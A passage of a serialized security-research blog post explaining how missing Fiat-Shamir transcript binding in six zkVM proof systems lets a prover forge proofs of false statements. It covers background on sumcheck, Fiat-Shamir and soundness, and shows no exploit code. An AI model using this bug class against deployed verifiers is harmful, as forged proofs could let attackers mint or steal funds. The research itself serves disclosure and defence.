systems where this faithfulness breaks. Across ",{"type":22,"tag":74,"props":109453,"children":109454},{},[109455],{"type":28,"value":109456},"Jolt",{"type":28,"value":231},{"type":22,"tag":74,"props":109459,"children":109460},{},[109461],{"type":28,"value":109462},"Nexus",{"type":28,"value":231},{"type":22,"tag":74,"props":109465,"children":109466},{},[109467],{"type":28,"value":109468},"Cairo-M",{"type":28,"value":231},{"type":22,"tag":74,"props":109471,"children":109472},{},[109473],{"type":28,"value":109474},"Ceno",{"type":28,"value":231},{"type":22,"tag":74,"props":109477,"children":109478},{},[109479],{"type":28,"value":109480},"Expander",{"type":28,"value":8497},{"type":22,"tag":74,"props":109483,"children":109484},{},[109485],{"type":28,"value":109486},"Binius64",{"type":28,"value":109488},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":22,"tag":31,"props":109490,"children":109491},{},[109492,109494,109500],{"type":28,"value":109493},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":22,"tag":42,"props":109495,"children":109497},{"href":109496},"#challenges",[109498],{"type":28,"value":109499},"Challenges",{"type":28,"value":109501}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":22,"tag":20760,"props":109503,"children":109504},{},[],{"type":22,"tag":23,"props":109506,"children":109508},{"id":109507},"jargon-cheat-sheet",[109509],{"type":28,"value":109510},"Jargon Cheat Sheet",{"type":22,"tag":31,"props":109512,"children":109513},{},[109514],{"type":28,"value":109515},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":22,"tag":64,"props":109517,"children":109518},{},[109519,109529,109539,109549,109559,109569,109579,109589,109599,109609,109619,109629],{"type":22,"tag":68,"props":109520,"children":109521},{},[109522,109527],{"type":22,"tag":74,"props":109523,"children":109524},{},[109525],{"type":28,"value":109526},"Fiat-Shamir",{"type":28,"value":109528},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":22,"tag":68,"props":109530,"children":109531},{},[109532,109537],{"type":22,"tag":74,"props":109533,"children":109534},{},[109535],{"type":28,"value":109536},"Transcript",{"type":28,"value":109538},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":22,"tag":68,"props":109540,"children":109541},{},[109542,109547],{"type":22,"tag":74,"props":109543,"children":109544},{},[109545],{"type":28,"value":109546},"Polynomial Commitment",{"type":28,"value":109548},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":22,"tag":68,"props":109550,"children":109551},{},[109552,109557],{"type":22,"tag":74,"props":109553,"children":109554},{},[109555],{"type":28,"value":109556},"Sumcheck",{"type":28,"value":109558},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":22,"tag":68,"props":109560,"children":109561},{},[109562,109567],{"type":22,"tag":74,"props":109563,"children":109564},{},[109565],{"type":28,"value":109566},"MLE (Multilinear Extension)",{"type":28,"value":109568},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":22,"tag":68,"props":109570,"children":109571},{},[109572,109577],{"type":22,"tag":74,"props":109573,"children":109574},{},[109575],{"type":28,"value":109576},"Lookup / LogUp",{"type":28,"value":109578},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":22,"tag":68,"props":109580,"children":109581},{},[109582,109587],{"type":22,"tag":74,"props":109583,"children":109584},{},[109585],{"type":28,"value":109586},"AIR",{"type":28,"value":109588},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":22,"tag":68,"props":109590,"children":109591},{},[109592,109597],{"type":22,"tag":74,"props":109593,"children":109594},{},[109595],{"type":28,"value":109596},"STARK",{"type":28,"value":109598},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":22,"tag":68,"props":109600,"children":109601},{},[109602,109607],{"type":22,"tag":74,"props":109603,"children":109604},{},[109605],{"type":28,"value":109606},"FRI",{"type":28,"value":109608},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":22,"tag":68,"props":109610,"children":109611},{},[109612,109617],{"type":22,"tag":74,"props":109613,"children":109614},{},[109615],{"type":28,"value":109616},"OODS",{"type":28,"value":109618},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":22,"tag":68,"props":109620,"children":109621},{},[109622,109627],{"type":22,"tag":74,"props":109623,"children":109624},{},[109625],{"type":28,"value":109626},"GKR",{"type":28,"value":109628},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":22,"tag":68,"props":109630,"children":109631},{},[109632,109637,109639],{"type":22,"tag":74,"props":109633,"children":109634},{},[109635],{"type":28,"value":109636},"claimed_sum / opening_claim",{"type":28,"value":109638},": Prover-supplied values that feed into verification equations. ",{"type":22,"tag":74,"props":109640,"children":109641},{},[109642],{"type":28,"value":109643},"These are the usual suspects for binding bugs.",{"type":22,"tag":20760,"props":109645,"children":109646},{},[],{"type":22,"tag":23,"props":109648,"children":109650},{"id":109649},"what-are-we-even-breaking",[109651],{"type":28,"value":109652},"What Are We Even Breaking?",{"type":22,"tag":1289,"props":109654,"children":109656},{"id":109655},"what-is-a-zkvm",[109657],{"type":28,"value":109658},"What is a zkVM?",{"type":22,"tag":31,"props":109660,"children":109661},{},[109662],{"type":28,"value":109663},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":22,"tag":31,"props":109665,"children":109666},{},[109667,109669,109694],{"type":28,"value":109668},"Formally, the verifier is convinced that there exists a valid trace ",{"type":22,"tag":114,"props":109670,"children":109672},{"className":109671},[5995,5996],[109673],{"type":22,"tag":118,"props":109674,"children":109676},{"className":109675},[6001],[109677],{"type":22,"tag":118,"props":109678,"children":109680},{"className":109679,"ariaHidden":6007},[6006],[109681],{"type":22,"tag":118,"props":109682,"children":109684},{"className":109683},[6012],[109685,109689],{"type":22,"tag":118,"props":109686,"children":109688},{"className":109687,"style":23537},[6017],[],{"type":22,"tag":118,"props":109690,"children":109692},{"className":109691,"style":23543},[6023,23542],[109693],{"type":28,"value":7997},{"type":28,"value":109695}," such that:",{"type":22,"tag":31,"props":109697,"children":109698},{},[109699],{"type":22,"tag":114,"props":109700,"children":109702},{"className":109701},[5995,5996],[109703],{"type":22,"tag":118,"props":109704,"children":109706},{"className":109705},[6001],[109707],{"type":22,"tag":118,"props":109708,"children":109710},{"className":109709,"ariaHidden":6007},[6006],[109711,109755,109830],{"type":22,"tag":118,"props":109712,"children":109714},{"className":109713},[6012],[109715,109719,109725,109729,109734,109738,109742,109747,109751],{"type":22,"tag":118,"props":109716,"children":109718},{"className":109717,"style":94558},[6017],[],{"type":22,"tag":118,"props":109720,"children":109722},{"className":109721},[6023],[109723],{"type":28,"value":109724},"∃",{"type":22,"tag":118,"props":109726,"children":109728},{"className":109727,"style":6202},[6104],[],{"type":22,"tag":118,"props":109730,"children":109732},{"className":109731,"style":23543},[6023,23542],[109733],{"type":28,"value":7997},{"type":22,"tag":118,"props":109735,"children":109737},{"className":109736,"style":6202},[6104],[],{"type":22,"tag":118,"props":109739,"children":109741},{"className":109740,"style":6202},[6104],[],{"type":22,"tag":118,"props":109743,"children":109745},{"className":109744},[6207],[109746],{"type":28,"value":213},{"type":22,"tag":118,"props":109748,"children":109750},{"className":109749,"style":6202},[6104],[],{"type":22,"tag":118,"props":109752,"children":109754},{"className":109753,"style":6202},[6104],[],{"type":22,"tag":118,"props":109756,"children":109758},{"className":109757},[6012],[109759,109763,109774,109779,109784,109789,109793,109798,109803,109807,109812,109817,109821,109826],{"type":22,"tag":118,"props":109760,"children":109762},{"className":109761,"style":6125},[6017],[],{"type":22,"tag":118,"props":109764,"children":109766},{"className":109765},[6023],[109767],{"type":22,"tag":118,"props":109768,"children":109771},{"className":109769},[6023,109770],"mathsf",[109772],{"type":28,"value":109773},"VM",{"type":22,"tag":118,"props":109775,"children":109777},{"className":109776},[23671],[109778],{"type":28,"value":540},{"type":22,"tag":118,"props":109780,"children":109782},{"className":109781,"style":23543},[6023,23542],[109783],{"type":28,"value":23546},{"type":22,"tag":118,"props":109785,"children":109787},{"className":109786},[6136],[109788],{"type":28,"value":6139},{"type":22,"tag":118,"props":109790,"children":109792},{"className":109791,"style":6143},[6104],[],{"type":22,"tag":118,"props":109794,"children":109796},{"className":109795,"style":96663},[6023,23542],[109797],{"type":28,"value":8143},{"type":22,"tag":118,"props":109799,"children":109801},{"className":109800},[6136],[109802],{"type":28,"value":6139},{"type":22,"tag":118,"props":109804,"children":109806},{"className":109805,"style":6143},[6104],[],{"type":22,"tag":118,"props":109808,"children":109810},{"className":109809,"style":23543},[6023,23542],[109811],{"type":28,"value":7997},{"type":22,"tag":118,"props":109813,"children":109815},{"className":109814},[23693],[109816],{"type":28,"value":3627},{"type":22,"tag":118,"props":109818,"children":109820},{"className":109819,"style":6202},[6104],[],{"type":22,"tag":118,"props":109822,"children":109824},{"className":109823},[6207],[109825],{"type":28,"value":24288},{"type":22,"tag":118,"props":109827,"children":109829},{"className":109828,"style":6202},[6104],[],{"type":22,"tag":118,"props":109831,"children":109833},{"className":109832},[6012],[109834,109838],{"type":22,"tag":118,"props":109835,"children":109837},{"className":109836,"style":23537},[6017],[],{"type":22,"tag":118,"props":109839,"children":109842},{"className":109840,"style":109841},[6023,23542],"margin-right:0.22222em;",[109843],{"type":28,"value":8172},{"type":22,"tag":31,"props":109845,"children":109846},{},[109847],{"type":28,"value":109848},"where:",{"type":22,"tag":64,"props":109850,"children":109851},{},[109852,109882,109912,109942],{"type":22,"tag":68,"props":109853,"children":109854},{},[109855,109880],{"type":22,"tag":114,"props":109856,"children":109858},{"className":109857},[5995,5996],[109859],{"type":22,"tag":118,"props":109860,"children":109862},{"className":109861},[6001],[109863],{"type":22,"tag":118,"props":109864,"children":109866},{"className":109865,"ariaHidden":6007},[6006],[109867],{"type":22,"tag":118,"props":109868,"children":109870},{"className":109869},[6012],[109871,109875],{"type":22,"tag":118,"props":109872,"children":109874},{"className":109873,"style":23537},[6017],[],{"type":22,"tag":118,"props":109876,"children":109878},{"className":109877,"style":23543},[6023,23542],[109879],{"type":28,"value":23546},{"type":28,"value":109881}," = program/circuit description (public)",{"type":22,"tag":68,"props":109883,"children":109884},{},[109885,109910],{"type":22,"tag":114,"props":109886,"children":109888},{"className":109887},[5995,5996],[109889],{"type":22,"tag":118,"props":109890,"children":109892},{"className":109891},[6001],[109893],{"type":22,"tag":118,"props":109894,"children":109896},{"className":109895,"ariaHidden":6007},[6006],[109897],{"type":22,"tag":118,"props":109898,"children":109900},{"className":109899},[6012],[109901,109905],{"type":22,"tag":118,"props":109902,"children":109904},{"className":109903,"style":23537},[6017],[],{"type":22,"tag":118,"props":109906,"children":109908},{"className":109907,"style":96663},[6023,23542],[109909],{"type":28,"value":8143},{"type":28,"value":109911}," = public input",{"type":22,"tag":68,"props":109913,"children":109914},{},[109915,109940],{"type":22,"tag":114,"props":109916,"children":109918},{"className":109917},[5995,5996],[109919],{"type":22,"tag":118,"props":109920,"children":109922},{"className":109921},[6001],[109923],{"type":22,"tag":118,"props":109924,"children":109926},{"className":109925,"ariaHidden":6007},[6006],[109927],{"type":22,"tag":118,"props":109928,"children":109930},{"className":109929},[6012],[109931,109935],{"type":22,"tag":118,"props":109932,"children":109934},{"className":109933,"style":23537},[6017],[],{"type":22,"tag":118,"props":109936,"children":109938},{"className":109937,"style":109841},[6023,23542],[109939],{"type":28,"value":8172},{"type":28,"value":109941}," = claimed public output",{"type":22,"tag":68,"props":109943,"children":109944},{},[109945,109970],{"type":22,"tag":114,"props":109946,"children":109948},{"className":109947},[5995,5996],[109949],{"type":22,"tag":118,"props":109950,"children":109952},{"className":109951},[6001],[109953],{"type":22,"tag":118,"props":109954,"children":109956},{"className":109955,"ariaHidden":6007},[6006],[109957],{"type":22,"tag":118,"props":109958,"children":109960},{"className":109959},[6012],[109961,109965],{"type":22,"tag":118,"props":109962,"children":109964},{"className":109963,"style":23537},[6017],[],{"type":22,"tag":118,"props":109966,"children":109968},{"className":109967,"style":23543},[6023,23542],[109969],{"type":28,"value":7997},{"type":28,"value":109971}," = private witness/trace (registers, memory history, intermediate values)",{"type":22,"tag":31,"props":109973,"children":109974},{},[109975,109977,109981],{"type":28,"value":109976},"The verifier does ",{"type":22,"tag":74,"props":109978,"children":109979},{},[109980],{"type":28,"value":20455},{"type":28,"value":109982}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":22,"tag":31,"props":109984,"children":109985},{},[109986,109988,109993],{"type":28,"value":109987},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":22,"tag":74,"props":109989,"children":109990},{},[109991],{"type":28,"value":109992},"soundness",{"type":28,"value":213},{"type":22,"tag":64,"props":109995,"children":109996},{},[109997,110007],{"type":22,"tag":68,"props":109998,"children":109999},{},[110000,110005],{"type":22,"tag":74,"props":110001,"children":110002},{},[110003],{"type":28,"value":110004},"Completeness",{"type":28,"value":110006},": honest execution verifies.",{"type":22,"tag":68,"props":110008,"children":110009},{},[110010,110015],{"type":22,"tag":74,"props":110011,"children":110012},{},[110013],{"type":28,"value":110014},"Soundness",{"type":28,"value":110016},": false execution should not verify.",{"type":22,"tag":31,"props":110018,"children":110019},{},[110020,110022,110026],{"type":28,"value":110021},"We are breaking ",{"type":22,"tag":74,"props":110023,"children":110024},{},[110025],{"type":28,"value":109992},{"type":28,"value":110027}," in all six systems.",{"type":22,"tag":31,"props":110029,"children":110030},{},[110031],{"type":28,"value":110032},"In all six codebases, verification follows this abstract flow:",{"type":22,"tag":4029,"props":110034,"children":110035},{},[110036,110041,110046,110051,110056,110061],{"type":22,"tag":68,"props":110037,"children":110038},{},[110039],{"type":28,"value":110040},"Fix public statement data.",{"type":22,"tag":68,"props":110042,"children":110043},{},[110044],{"type":28,"value":110045},"Parse proof payload (commitments, reduction messages, openings).",{"type":22,"tag":68,"props":110047,"children":110048},{},[110049],{"type":28,"value":110050},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":22,"tag":68,"props":110052,"children":110053},{},[110054],{"type":28,"value":110055},"Check constraint equations at sampled points.",{"type":22,"tag":68,"props":110057,"children":110058},{},[110059],{"type":28,"value":110060},"Check PCS/opening consistency.",{"type":22,"tag":68,"props":110062,"children":110063},{},[110064],{"type":28,"value":110065},"Accept only if all checks are jointly consistent.",{"type":22,"tag":31,"props":110067,"children":110068},{},[110069],{"type":22,"tag":5928,"props":110070,"children":110073},{"alt":110071,"src":110072},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":22,"tag":31,"props":110075,"children":110076},{},[110077],{"type":28,"value":110078},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":22,"tag":20760,"props":110080,"children":110081},{},[],{"type":22,"tag":23,"props":110083,"children":110085},{"id":110084},"the-building-blocks",[110086],{"type":28,"value":110087},"The Building Blocks",{"type":22,"tag":31,"props":110089,"children":110090},{},[110091],{"type":28,"value":110092},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":22,"tag":1289,"props":110094,"children":110096},{"id":110095},"the-fiat-shamir-transform",[110097],{"type":28,"value":110098},"The Fiat-Shamir Transform",{"type":22,"tag":31,"props":110100,"children":110101},{},[110102],{"type":28,"value":110103},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":22,"tag":31,"props":110105,"children":110106},{},[110107],{"type":28,"value":110108},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":22,"tag":31,"props":110110,"children":110111},{},[110112],{"type":22,"tag":5928,"props":110113,"children":110116},{"alt":110114,"src":110115},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":22,"tag":31,"props":110118,"children":110119},{},[110120,110122,110126,110128,110133],{"type":28,"value":110121},"The hash (transcript) ",{"type":22,"tag":74,"props":110123,"children":110124},{},[110125],{"type":28,"value":8529},{"type":28,"value":110127}," include everything that affects verification ",{"type":22,"tag":74,"props":110129,"children":110130},{},[110131],{"type":28,"value":110132},"BEFORE",{"type":28,"value":110134}," the challenges derived from it are used.",{"type":22,"tag":31,"props":110136,"children":110137},{},[110138,110140,110166,110168,110193,110195,110220,110222,110247,110249,110274],{"type":28,"value":110139},"If some value ",{"type":22,"tag":114,"props":110141,"children":110143},{"className":110142},[5995,5996],[110144],{"type":22,"tag":118,"props":110145,"children":110147},{"className":110146},[6001],[110148],{"type":22,"tag":118,"props":110149,"children":110151},{"className":110150,"ariaHidden":6007},[6006],[110152],{"type":22,"tag":118,"props":110153,"children":110155},{"className":110154},[6012],[110156,110160],{"type":22,"tag":118,"props":110157,"children":110159},{"className":110158,"style":23537},[6017],[],{"type":22,"tag":118,"props":110161,"children":110163},{"className":110162,"style":109841},[6023,23542],[110164],{"type":28,"value":110165},"V",{"type":28,"value":110167}," affects a verification equation, but ",{"type":22,"tag":114,"props":110169,"children":110171},{"className":110170},[5995,5996],[110172],{"type":22,"tag":118,"props":110173,"children":110175},{"className":110174},[6001],[110176],{"type":22,"tag":118,"props":110177,"children":110179},{"className":110178,"ariaHidden":6007},[6006],[110180],{"type":22,"tag":118,"props":110181,"children":110183},{"className":110182},[6012],[110184,110188],{"type":22,"tag":118,"props":110185,"children":110187},{"className":110186,"style":23537},[6017],[],{"type":22,"tag":118,"props":110189,"children":110191},{"className":110190,"style":109841},[6023,23542],[110192],{"type":28,"value":110165},{"type":28,"value":110194}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":22,"tag":114,"props":110196,"children":110198},{"className":110197},[5995,5996],[110199],{"type":22,"tag":118,"props":110200,"children":110202},{"className":110201},[6001],[110203],{"type":22,"tag":118,"props":110204,"children":110206},{"className":110205,"ariaHidden":6007},[6006],[110207],{"type":22,"tag":118,"props":110208,"children":110210},{"className":110209},[6012],[110211,110215],{"type":22,"tag":118,"props":110212,"children":110214},{"className":110213,"style":23537},[6017],[],{"type":22,"tag":118,"props":110216,"children":110218},{"className":110217,"style":109841},[6023,23542],[110219],{"type":28,"value":110165},{"type":28,"value":110221},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":22,"tag":114,"props":110223,"children":110225},{"className":110224},[5995,5996],[110226],{"type":22,"tag":118,"props":110227,"children":110229},{"className":110228},[6001],[110230],{"type":22,"tag":118,"props":110231,"children":110233},{"className":110232,"ariaHidden":6007},[6006],[110234],{"type":22,"tag":118,"props":110235,"children":110237},{"className":110236},[6012],[110238,110242],{"type":22,"tag":118,"props":110239,"children":110241},{"className":110240,"style":23537},[6017],[],{"type":22,"tag":118,"props":110243,"children":110245},{"className":110244,"style":109841},[6023,23542],[110246],{"type":28,"value":110165},{"type":28,"value":110248},", which may allow it to choose ",{"type":22,"tag":114,"props":110250,"children":110252},{"className":110251},[5995,5996],[110253],{"type":22,"tag":118,"props":110254,"children":110256},{"className":110255},[6001],[110257],{"type":22,"tag":118,"props":110258,"children":110260},{"className":110259,"ariaHidden":6007},[6006],[110261],{"type":22,"tag":118,"props":110262,"children":110264},{"className":110263},[6012],[110265,110269],{"type":22,"tag":118,"props":110266,"children":110268},{"className":110267,"style":23537},[6017],[],{"type":22,"tag":118,"props":110270,"children":110272},{"className":110271,"style":109841},[6023,23542],[110273],{"type":28,"value":110165},{"type":28,"value":110275}," exactly so that the verification passes, even though it should not.",{"type":22,"tag":31,"props":110277,"children":110278},{},[110279],{"type":28,"value":110280},"This is the bug class we found in all six systems.",{"type":22,"tag":1289,"props":110282,"children":110284},{"id":110283},"the-sumcheck-protocol",[110285],{"type":28,"value":110286},"The Sumcheck Protocol",{"type":22,"tag":31,"props":110288,"children":110289},{},[110290,110292,110378],{"type":28,"value":110291},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":22,"tag":114,"props":110293,"children":110295},{"className":110294},[5995,5996],[110296],{"type":22,"tag":118,"props":110297,"children":110299},{"className":110298},[6001],[110300],{"type":22,"tag":118,"props":110301,"children":110303},{"className":110302,"ariaHidden":6007},[6006],[110304],{"type":22,"tag":118,"props":110305,"children":110307},{"className":110306},[6012],[110308,110312,110317,110322,110327,110331,110336],{"type":22,"tag":118,"props":110309,"children":110311},{"className":110310,"style":6125},[6017],[],{"type":22,"tag":118,"props":110313,"children":110315},{"className":110314},[23671],[110316],{"type":28,"value":78214},{"type":22,"tag":118,"props":110318,"children":110320},{"className":110319},[6023],[110321],{"type":28,"value":6036},{"type":22,"tag":118,"props":110323,"children":110325},{"className":110324},[6136],[110326],{"type":28,"value":6139},{"type":22,"tag":118,"props":110328,"children":110330},{"className":110329,"style":6143},[6104],[],{"type":22,"tag":118,"props":110332,"children":110334},{"className":110333},[6023],[110335],{"type":28,"value":6026},{"type":22,"tag":118,"props":110337,"children":110339},{"className":110338},[23693],[110340,110345],{"type":22,"tag":118,"props":110341,"children":110343},{"className":110342},[23693],[110344],{"type":28,"value":36080},{"type":22,"tag":118,"props":110346,"children":110348},{"className":110347},[6040],[110349],{"type":22,"tag":118,"props":110350,"children":110352},{"className":110351},[6045],[110353],{"type":22,"tag":118,"props":110354,"children":110356},{"className":110355},[6050],[110357],{"type":22,"tag":118,"props":110358,"children":110361},{"className":110359,"style":110360},[6055],"height:0.6644em;",[110362],{"type":22,"tag":118,"props":110363,"children":110364},{"style":6059},[110365,110369],{"type":22,"tag":118,"props":110366,"children":110368},{"className":110367,"style":6065},[6064],[],{"type":22,"tag":118,"props":110370,"children":110372},{"className":110371},[6070,6071,6072,6073],[110373],{"type":22,"tag":118,"props":110374,"children":110376},{"className":110375},[6023,23542,6073],[110377],{"type":28,"value":58344},{"type":28,"value":110379},"), i.e the claim:",{"type":22,"tag":31,"props":110381,"children":110382},{},[110383],{"type":22,"tag":114,"props":110384,"children":110386},{"className":110385},[5995,5996],[110387],{"type":22,"tag":118,"props":110388,"children":110390},{"className":110389},[6001],[110391],{"type":22,"tag":118,"props":110392,"children":110394},{"className":110393,"ariaHidden":6007},[6006],[110395,110421],{"type":22,"tag":118,"props":110396,"children":110398},{"className":110397},[6012],[110399,110403,110408,110412,110417],{"type":22,"tag":118,"props":110400,"children":110402},{"className":110401,"style":23537},[6017],[],{"type":22,"tag":118,"props":110404,"children":110406},{"className":110405,"style":94877},[6023,23542],[110407],{"type":28,"value":94880},{"type":22,"tag":118,"props":110409,"children":110411},{"className":110410,"style":6202},[6104],[],{"type":22,"tag":118,"props":110413,"children":110415},{"className":110414},[6207],[110416],{"type":28,"value":282},{"type":22,"tag":118,"props":110418,"children":110420},{"className":110419,"style":6202},[6104],[],{"type":22,"tag":118,"props":110422,"children":110424},{"className":110423},[6012],[110425,110429,110579,110583,110726,110730,110737,110741,110885,110889,110895,110900,110957,110962,110966,111023,111028,111032,111038,111042,111047,111051,111109],{"type":22,"tag":118,"props":110426,"children":110428},{"className":110427,"style":23573},[6017],[],{"type":22,"tag":118,"props":110430,"children":110432},{"className":110431},[23578],[110433,110439],{"type":22,"tag":118,"props":110434,"children":110436},{"className":110435,"style":23585},[23578,23583,23584],[110437],{"type":28,"value":110438},"∑",{"type":22,"tag":118,"props":110440,"children":110442},{"className":110441},[6040],[110443],{"type":22,"tag":118,"props":110444,"children":110446},{"className":110445},[6045,23596],[110447,110568],{"type":22,"tag":118,"props":110448,"children":110450},{"className":110449},[6050],[110451,110563],{"type":22,"tag":118,"props":110452,"children":110454},{"className":110453,"style":23605},[6055],[110455],{"type":22,"tag":118,"props":110456,"children":110457},{"style":23609},[110458,110462],{"type":22,"tag":118,"props":110459,"children":110461},{"className":110460,"style":6065},[6064],[],{"type":22,"tag":118,"props":110463,"children":110465},{"className":110464},[6070,6071,6072,6073],[110466],{"type":22,"tag":118,"props":110467,"children":110469},{"className":110468},[6023,6073],[110470,110533,110538,110543,110548,110553,110558],{"type":22,"tag":118,"props":110471,"children":110473},{"className":110472},[6023,6073],[110474,110479],{"type":22,"tag":118,"props":110475,"children":110477},{"className":110476},[6023,23542,6073],[110478],{"type":28,"value":21243},{"type":22,"tag":118,"props":110480,"children":110482},{"className":110481},[6040],[110483],{"type":22,"tag":118,"props":110484,"children":110486},{"className":110485},[6045,23596],[110487,110521],{"type":22,"tag":118,"props":110488,"children":110490},{"className":110489},[6050],[110491,110516],{"type":22,"tag":118,"props":110492,"children":110495},{"className":110493,"style":110494},[6055],"height:0.3173em;",[110496],{"type":22,"tag":118,"props":110497,"children":110499},{"style":110498},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[110500,110505],{"type":22,"tag":118,"props":110501,"children":110504},{"className":110502,"style":110503},[6064],"height:2.5em;",[],{"type":22,"tag":118,"props":110506,"children":110510},{"className":110507},[6070,110508,110509,6073],"reset-size3","size1",[110511],{"type":22,"tag":118,"props":110512,"children":110514},{"className":110513},[6023,6073],[110515],{"type":28,"value":6026},{"type":22,"tag":118,"props":110517,"children":110519},{"className":110518},[23699],[110520],{"type":28,"value":23702},{"type":22,"tag":118,"props":110522,"children":110524},{"className":110523},[6050],[110525],{"type":22,"tag":118,"props":110526,"children":110529},{"className":110527,"style":110528},[6055],"height:0.143em;",[110530],{"type":22,"tag":118,"props":110531,"children":110532},{},[],{"type":22,"tag":118,"props":110534,"children":110536},{"className":110535},[6207,6073],[110537],{"type":28,"value":23649},{"type":22,"tag":118,"props":110539,"children":110541},{"className":110540},[23671,6073],[110542],{"type":28,"value":78214},{"type":22,"tag":118,"props":110544,"children":110546},{"className":110545},[6023,6073],[110547],{"type":28,"value":6036},{"type":22,"tag":118,"props":110549,"children":110551},{"className":110550},[6136,6073],[110552],{"type":28,"value":6139},{"type":22,"tag":118,"props":110554,"children":110556},{"className":110555},[6023,6073],[110557],{"type":28,"value":6026},{"type":22,"tag":118,"props":110559,"children":110561},{"className":110560},[23693,6073],[110562],{"type":28,"value":36080},{"type":22,"tag":118,"props":110564,"children":110566},{"className":110565},[23699],[110567],{"type":28,"value":23702},{"type":22,"tag":118,"props":110569,"children":110571},{"className":110570},[6050],[110572],{"type":22,"tag":118,"props":110573,"children":110575},{"className":110574,"style":23710},[6055],[110576],{"type":22,"tag":118,"props":110577,"children":110578},{},[],{"type":22,"tag":118,"props":110580,"children":110582},{"className":110581,"style":6143},[6104],[],{"type":22,"tag":118,"props":110584,"children":110586},{"className":110585},[23578],[110587,110592],{"type":22,"tag":118,"props":110588,"children":110590},{"className":110589,"style":23585},[23578,23583,23584],[110591],{"type":28,"value":110438},{"type":22,"tag":118,"props":110593,"children":110595},{"className":110594},[6040],[110596],{"type":22,"tag":118,"props":110597,"children":110599},{"className":110598},[6045,23596],[110600,110715],{"type":22,"tag":118,"props":110601,"children":110603},{"className":110602},[6050],[110604,110710],{"type":22,"tag":118,"props":110605,"children":110607},{"className":110606,"style":23605},[6055],[110608],{"type":22,"tag":118,"props":110609,"children":110610},{"style":23609},[110611,110615],{"type":22,"tag":118,"props":110612,"children":110614},{"className":110613,"style":6065},[6064],[],{"type":22,"tag":118,"props":110616,"children":110618},{"className":110617},[6070,6071,6072,6073],[110619],{"type":22,"tag":118,"props":110620,"children":110622},{"className":110621},[6023,6073],[110623,110680,110685,110690,110695,110700,110705],{"type":22,"tag":118,"props":110624,"children":110626},{"className":110625},[6023,6073],[110627,110632],{"type":22,"tag":118,"props":110628,"children":110630},{"className":110629},[6023,23542,6073],[110631],{"type":28,"value":21243},{"type":22,"tag":118,"props":110633,"children":110635},{"className":110634},[6040],[110636],{"type":22,"tag":118,"props":110637,"children":110639},{"className":110638},[6045,23596],[110640,110669],{"type":22,"tag":118,"props":110641,"children":110643},{"className":110642},[6050],[110644,110664],{"type":22,"tag":118,"props":110645,"children":110647},{"className":110646,"style":110494},[6055],[110648],{"type":22,"tag":118,"props":110649,"children":110650},{"style":110498},[110651,110655],{"type":22,"tag":118,"props":110652,"children":110654},{"className":110653,"style":110503},[6064],[],{"type":22,"tag":118,"props":110656,"children":110658},{"className":110657},[6070,110508,110509,6073],[110659],{"type":22,"tag":118,"props":110660,"children":110662},{"className":110661},[6023,6073],[110663],{"type":28,"value":5147},{"type":22,"tag":118,"props":110665,"children":110667},{"className":110666},[23699],[110668],{"type":28,"value":23702},{"type":22,"tag":118,"props":110670,"children":110672},{"className":110671},[6050],[110673],{"type":22,"tag":118,"props":110674,"children":110676},{"className":110675,"style":110528},[6055],[110677],{"type":22,"tag":118,"props":110678,"children":110679},{},[],{"type":22,"tag":118,"props":110681,"children":110683},{"className":110682},[6207,6073],[110684],{"type":28,"value":23649},{"type":22,"tag":118,"props":110686,"children":110688},{"className":110687},[23671,6073],[110689],{"type":28,"value":78214},{"type":22,"tag":118,"props":110691,"children":110693},{"className":110692},[6023,6073],[110694],{"type":28,"value":6036},{"type":22,"tag":118,"props":110696,"children":110698},{"className":110697},[6136,6073],[110699],{"type":28,"value":6139},{"type":22,"tag":118,"props":11070